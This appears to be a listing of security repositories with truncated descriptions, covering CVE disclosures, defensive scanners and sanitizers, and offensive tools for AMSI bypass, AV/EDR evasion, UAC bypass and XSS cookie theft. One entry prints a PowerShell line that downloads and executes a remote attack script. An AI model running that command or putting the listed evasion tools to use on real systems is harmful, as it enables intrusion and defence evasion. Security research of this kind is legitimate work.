exploitarium

https://discord.gg/WytKH65ZR join up for research, help, documentation, and more useful information for those interested. Statement This repo was incomplete when published. In regard to AI usage, my fuzzing workflow was automated by AI with a strict workflow. I used GPT-5.3 for ALL the fuzzing, a...

lamda

FIRERPA Android ｜ AI-Powered Automation An all-in-one Android automation framework that combines on-device services, AI-ready agents, and extensible tool invocation. Documentation | 使用文档 | TELEGRAM | QQ Group | SKILLS | llms-full.txt | 中文版本 FIRERPA is an all-in-one Android device control platform...

CVE-2026-5000

CVE-2026-5000 Important infromation This CVE has been approved by the CVE.org as well as the NVD. Please refer the following links of the reference. CVE.org - https://vulners.com/cve/CVE-2026-5000 NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-5000 CVE-2026-5000 Windows Defender Vulnerability Po...

secretlint

Secretlint Secretlint is a Pluggable linting tool to prevent committing credentials. Features Scanner : Find credentials in a project and report these Project Friendly: Easy to set up your project and integrate CI services Pre-Commit Hook : Prevent committing credential files Pluggable : Allow...

CVE-2026-41303

🔐 CVE-2026-41303: Authorization Bypass in OpenClaw Discord Bot -red?style=flat&logo=owasp Complete technical documentation on the authorization bypass vulnerability in OpenClaw 📋 Table of Contents General Description Technical Details Security Impact Proof of Concept Exploitation Methodology...

pythia-sql-clairvoyance

Production-ready SQL injection scanner with 6 detection methods, AI-powered remediation, SARIF output, and CI/CD integration. Quick Start · Documentation · Docker · AI Analysis · Star on GitHub In Action Live scan · PHP vulnerable shop · 11 findings detected · safe mode · 2265.56s !Pythia — HTML...

DOMPurify

DOMPurify DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's also very simple to use and get started with. DOMPurify was started in February 2014 and, meanwhile, has reached version v3.4.16. DOMPurify runs as JavaScript and works in all modern browsers...

SharpKiller

SharpKiller Lifetime AMSI bypass AMSI-Killer by @ZeroMemoryEx ported to .NET Framework 4.8. Additional Obfuscation required https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059 Newly integrated features: x - Live scan fo...

Microsoft-2024-December-Update-Control

Windows December 2024 Security Patches Audit Script This PowerShell script checks whether the required KB updates for specific security vulnerabilities CVE-2024-49124, CVE-2024-49117, CVE-2024-49118, and CVE-2024-49122 announced in the December 2024 Microsoft security bulletins are installed on...

JOP_ROCKET

JOP ROCKET NOTE: With 2.15, we introduce the two-gadget disaptcher--this significantly expands possibilities with dispatcher gadgets. A lot of optimizations and additional new features have been added with 2.15 on May 26, 2021. Update: November 29, 2021: I have uploaded the slides for @Hack in...

CVE-2019-18426

This was originally published on PerimeterX company's official Github through my work Github account. Eventhough this is my work - all rights and legal concerns belong to PerimeterX company. WhatsApp Vulnerabilities Disclosure - Open Redirect + CSP Bypass + Persistent XSS + FS read permissions +...

hades

About Hades is a proof of concept loader that combines several evasion technques with the aim of bypassing the defensive mechanisms commonly used by modern AV/EDRs. Usage The easiest way, is probably building the project on Linux using make. git clone https://github.com/f1zm0/hades && cd hades ma...

TotalCMS-Arbitrary_File-Upload--XSS_Steal_Cookies---TotalDepot

TotalCMS Arbitrary File Upload - XSS and steal cookies Author: Sergio Description: TotalCMS is affected by Arbitrary File Upload - XSS vulnerability which allows Cross-Site Scriting XSS and also stealing session cookies Attack Vectors: A vulnerability in "Total Depot" file upload sanitation allow...

KRBUACBypass

Background This POC is inspired by James Forshaw @tiraniddo shared at BlackHat USA 2022 titled “ Taking Kerberos To The Next Level ” topic, he shared a Demo of abusing Kerberos tickets to achieve UAC bypass. By adding a KERB-AD-RESTRICTION-ENTRY to the service ticket, but filling in a fake...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

CVE-2026-58663 Apache IoTDB: Auth Bypass in pipeTransfer() interface

An authentication bypass vulnerability exists in Apache IoTDB's Thrift RPC service This issue affects Apache IoTDB: from 2.0.0 before 2.0.11. Users are recommended to upgrade to version 2.0.11, which fixes the issue...

EUVD-2026-107162

An authentication bypass vulnerability exists in Apache IoTDB's Thrift RPC service This issue affects Apache IoTDB: from 2.0.0 before 2.0.11. Users are recommended to upgrade to version 2.0.11, which fixes the issue...

CVE-2026-58663

An authentication bypass vulnerability exists in the Thrift RPC service of Apache IoTDB . This security flaw specifically impacts the pipeTransfer() interface in versions 2.0.0 through 2.0.10 . Users are recommended to upgrade to version 2.0.11 to remediate the issue. No specific exploitation det...

UniversalDVC

Universal Dynamic Virtual Channel connector for Remote Desktop Services UDVC Terminal Services or Remote Desktop Services are offering many hidden features for those who want to dig deeper. One of these services is the Dynamic Virtual Channel that enables us to communicate over an open RDP...

Thick-Client-Pentest-Checklist

THICK CLIENT PENTESTING CHECKLIST OWASP Based Checklist 🌟🌟 80+ Test Cases 🚀🚀 Notion link: https://hariprasaanth.notion.site/THICK-CLIENT-PENTESTING-CHECKLIST-35c6803f26eb4c9d89ba7f5fdc901fb0 INFORMATION GATHERING Information Gathering Find out the application architecture two-tier or three-tier...